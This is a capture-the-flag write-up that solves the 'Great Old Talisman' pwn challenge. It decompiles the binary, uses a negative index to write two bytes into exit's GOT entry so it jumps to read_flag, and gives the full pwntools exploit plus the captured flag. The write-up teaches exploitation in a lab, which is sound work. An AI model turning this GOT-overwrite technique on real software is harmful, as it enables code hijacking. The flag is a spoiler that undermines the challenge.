Great Old Talisman
4 minutes to read
We are given a 64-bit binary called great_old_talisman
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
void main() {
long in_FS_OFFSET;
int n;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
banner();
printf("\nThis Great Old Talisman will protect you from the evil powers of zombies!\n\nDo you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)\n\n>> ");
__isoc99_scanf("%d", &n);
printf("\nSpell: ");
read(0, talis + (long) n * 8, 2);
// WARNING: Subroutine does not return
exit(0x520);
}
The function is so simple, it asks for an integer number n
(supposed to be just 0
or 1
) and then allows us to enter 2 bytes at talis + 8 * n
. The variable talis
is global, and after that, the program calls exit
.
There is another function in the binary that is necer called in the main
routine. This is read_flag
:
void read_flag() {
ssize_t ret;
long in_FS_OFFSET;
char c;
int fd;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
// WARNING: Subroutine does not return
exit(1);
}
while (true) {
ret = read(fd, &c, 1);
if (ret < 1) break;
fputc((int) c, stdout);
}
close(fd);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Basically, it will open flag.txt
and print out the flag.
Exploit strategy
The objective of the challenge is to call read_flag
. We only have the ability to write 2 bytes from an offset of talis
. This gives us an out-of-bounds (OOB) write primitive. The idea is to target the Global Offset Table (GOT), where the external function addresses are stored when they are called within the program. Otherwise, there is an address to a resolution routine. Notice that the name of the challenge is Great Old Talisman, whose acronym is GOT.
Therefore, the idea is to target exit
in the GOT and modify the last two bytes so that exit
points to read_flag
. As a result, after writing 2 bytes, the program will call exit
and execute read_flag
instead of exit
.
Debugging with GDB
Let’s start by debugging the program in GDB:
$ gdb -q great_old_talisman
Reading symbols from great_old_talisman...
(No debugging symbols found in great_old_talisman)
gef➤ run
Starting program: ./great_old_talisman
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
|
|
|
|
___|___
.d$$$******$$$$c.
.d$P' '$$c
$$$$$. .$$$*$.
.$$ 4$L*$$. .$$Pd$ '$b
$F *$. '$$e.e$$' 4$F ^$b
d$ $$ z$$$e $$ '$.
$P `$L$$P` `'$$d$' $$
$$ e$$F 4$$b. $$
$b .$$' $$ .$$ '4$b. $$
$$e$P' $b d$` '$$c$F
'$P$$$$$$$$$$$$$$$$$$$$$$$$$$
'$c. 4$. $$ .$$
^$$. $$ d$' d$P
'$$c. `$b$F .d$P'
`4$$$c.$$$..e$$P'
`^^^^^^^`'
This Great Old Talisman will protect you from the evil powers of zombies!
Do you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d145f2 in __GI___libc_read (fd=0x0, buf=0x7ffff7e19b23 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Let’s take a look at the address of talis
and the GOT:
gef➤ x/gx &talis
0x4040a0 <talis>: 0x0000000000402008
gef➤ got
GOT protection: Partial RelRO | GOT functions: 15
[0x404018] puts@GLIBC_2.2.5 → 0x7ffff7c80e50
[0x404020] __stack_chk_fail@GLIBC_2.4 → 0x401040
[0x404028] printf@GLIBC_2.2.5 → 0x7ffff7c606f0
[0x404030] alarm@GLIBC_2.2.5 → 0x7ffff7cea540
[0x404038] close@GLIBC_2.2.5 → 0x401070
[0x404040] fputc@GLIBC_2.2.5 → 0x401080
[0x404048] read@GLIBC_2.2.5 → 0x401090
[0x404050] srand@GLIBC_2.2.5 → 0x7ffff7c460a0
[0x404058] time@GLIBC_2.2.5 → 0x7ffff7fc1c60
[0x404060] setvbuf@GLIBC_2.2.5 → 0x7ffff7c815f0
[0x404068] open@GLIBC_2.2.5 → 0x4010d0
[0x404070] perror@GLIBC_2.2.5 → 0x4010e0
[0x404078] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7c62090
[0x404080] exit@GLIBC_2.2.5 → 0x401100
[0x404088] rand@GLIBC_2.2.5 → 0x7ffff7c46760
Notice that talis
and the GOT entries are very close to each other. In fact, we can calculate the relative offset between talis
and the GOT entry for exit
:
gef➤ p/d 0x404080 - 0x4040a0
$1 = -32
gef➤ p/d (0x404080 - 0x4040a0) / sizeof(long)
$2 = -4
Notice that the offset is scaled by the size of a long
(8 bytes) value, which is what appears in the decompiled source code. As a result, we need to enter -4
in order to write in the GOT entry of exit
. Here, we will put the last two bytes of read_flag
.
Exploit
This is the final exploit:
#!/usr/bin/env python3
from pwn import context, p16, remote, sys
context.binary = 'great_old_talisman'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
p.sendlineafter(b'>> ', b'-4')
p.sendafter(b'Spell: ', p16(context.binary.sym.read_flag & 0xffff))
p.success(p.recvline().decode())
if __name__ == '__main__':
main()
Flag
And here’s the flag:
$ python3 solve.py 94.237.63.93:34004
[*] './great_old_talisman'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.63.93 on port 34004: Done
[+] HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}
[*] Closed connection to 94.237.63.93 port 34004
The full exploit code is here: solve.py
.